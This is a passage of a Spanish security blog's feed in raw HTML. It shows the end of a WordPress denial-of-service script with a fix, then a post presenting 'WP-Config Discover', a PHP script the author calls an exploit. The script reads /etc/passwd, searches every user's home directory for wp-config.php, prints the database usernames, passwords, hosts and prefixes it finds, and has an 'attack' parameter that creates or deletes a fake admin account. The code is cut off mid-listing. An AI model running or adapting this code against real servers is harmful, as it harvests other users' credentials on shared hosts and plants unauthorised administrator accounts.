<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, “Connection: close<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;fputs($fp, $str.”<span class="es0">\r</span><span class="es0">\n</span><span class="es0">\r</span><span class="es0">\n</span>”);</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;echo “hit!<span class="es0">\n</span>”;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;$count++;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"> &nbsp; &nbsp;}</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="st0"> &nbsp; &nbsp;?&gt;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p><strong>La solución:</strong></p>
<p>Cambiar</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&#8216;charset&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
</ol>
</div>
<p>Por</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$charset</span> = <a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span>”,”,”<span class="st0">&quot;,$_POST['charset']);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0">if(is_array($charset)) { exit; }</span></div>
</li>
<li class="li1">
<div class="de1"><span class="st0"</span></div>
</li>
</ol>
</div>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fdenial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress%2F&amp;linkname=Denial-of-Service%20%28DoS%29%20r%C3%A1pido%20y%20de%20una%20forma%20muy%20sencilla%20en%20WordPress">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/denial-of-service-dos-rapido-y-de-una-forma-muy-sencilla-en-wordpress/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WP-Config Discover: Héchale un vistazo a todos los WordPress del servidor</title>
		<link>http://blog.zerial.org/seguridad/wp-config-discover/</link>
		<comments>http://blog.zerial.org/seguridad/wp-config-discover/#comments</comments>
		<pubDate>Mon, 10 Aug 2009 03:04:08 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wp]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=716</guid>
		<description><![CDATA[WP-Config Discover es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario www-data sobre el fichero wp-config.php. Como todos [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-full wp-image-720" title="matrixwordpress" src="http://blog.zerial.org/wp-content/uploads/2009/08/matrixwordpress.png" alt="matrixwordpress" width="190" height="190" /><strong>WP-Config Discover</strong> es el nombre que le puse a un script/exploit en el que estuve trabajando durante la semana. Este script no se aprovecha de ninguna falla ni vulnerabilidad de wordpress ni de algun servicio en especifico, sino de algo que es completamente normal: Lectura para el usuario <em>www-data</em> sobre el fichero <em>wp-config.php</em>.</p>
<p>Como todos saben, wordpress al igual que todos los cms, guardan la configuración de la base de datos (usuario, password, host, prefijo de las tablas, etc) en un fichero, el cual debe ser legible por el usuario que está corriendo el servicio http (generalmente apache/www-data).</p>
<p><span id="more-716"></span></p>
<p><strong>Código</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$paths</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;site/blog&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;www/wordpress&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="st0">&quot;html/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/blog&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wp&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;public_html/wordpress&quot;</span>,</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$files</span> = <a href="http://www.php.net/array"><span class="kw3">array</span></a><span class="br0">&#40;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="st0">&quot;wp-config.php&quot;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Checking for &#8230;.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">if</span><span class="br0">&#40;</span>!<a href="http://www.php.net/is_readable"><span class="kw3">is_readable</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> &nbsp; &nbsp;<a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;err0r: can&#8217;t read /etc/passwd (safe mode?)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$_f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="st0">&quot;/etc/passwd&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$_f</span> <span class="kw1">as</span> <span class="re0">$usr</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <a href="http://www.php.net/explode"><span class="kw3">explode</span></a><span class="br0">&#40;</span><span class="st0">&quot;:&quot;</span>, <span class="re0">$usr</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$uid</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$home</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">5</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="re0">$usr</span> = <span class="re0">$usr</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$uid</span> &gt;= <span class="nu0">1000</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="re0">$usr</span>.<span class="st0">&quot; (uid:&quot;</span>.<span class="re0">$uid</span>.<span class="st0">&quot;): &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$paths</span> <span class="kw1">as</span> <span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span>Searching in &quot;</span>.<span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$files</span> <span class="kw1">as</span> <span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/file_exists"><span class="kw3">file_exists</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span>Found: &quot;</span>.<span class="re0">$file</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$__f</span> = @<a href="http://www.php.net/file"><span class="kw3">file</span></a><span class="br0">&#40;</span><span class="re0">$home</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$path</span>.<span class="st0">&quot;/&quot;</span>.<span class="re0">$file</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$__f</span> <span class="kw1">as</span> <span class="re0">$line</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_USER&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_USER&#8217;, &quot;</span>,<span class="st0">&quot;usr=&gt;&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_PASSWORD&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output2</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_PASSWORD&#8217;, &quot;</span>, <span class="st0">&quot;pwd=&gt;&quot;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_NAME&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output3</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_NAME&#8217;, &quot;</span>, <span class="st0">&quot;db=&gt;&quot;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;DB_HOST&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/define<span class="es0">\(</span><span class="es0">\&#8217;</span>(.*)<span class="es0">\)</span>;/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output4</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/str_replace"><span class="kw3">str_replace</span></a><span class="br0">&#40;</span><span class="st0">&quot;DB_HOST&#8217;, &quot;</span>, <span class="st0">&quot;host=&gt;&quot;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/stristr"><span class="kw3">stristr</span></a><span class="br0">&#40;</span><span class="re0">$line</span>, <span class="st0">&quot;<span class="es0">\$</span>table_prefix&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <a href="http://www.php.net/preg_match_all"><span class="kw3">preg_match_all</span></a><span class="br0">&#40;</span><span class="st0">&#8216;/<span class="es0">\$</span>table_prefix(.*);/&#8217;</span>, <span class="re0">$line</span>, <span class="re0">$output5</span><span class="br0">&#41;</span>; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>prefix&quot;</span>.<span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>URL: &quot;</span>.getURL<span class="br0">&#40;</span><span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;create_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>User/pass created: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;create&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;attack&#8217;</span><span class="br0">&#93;</span> == <span class="st0">&quot;delete_user&quot;</span><span class="br0">&#41;</span> <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>fakeadmin deleted: &quot;</span>.UserAdmin<span class="br0">&#40;</span><span class="st0">&quot;delete&quot;</span>, <span class="re0">$output</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output2</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output3</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output4</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span>, <span class="re0">$output5</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/flush"><span class="kw3">flush</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
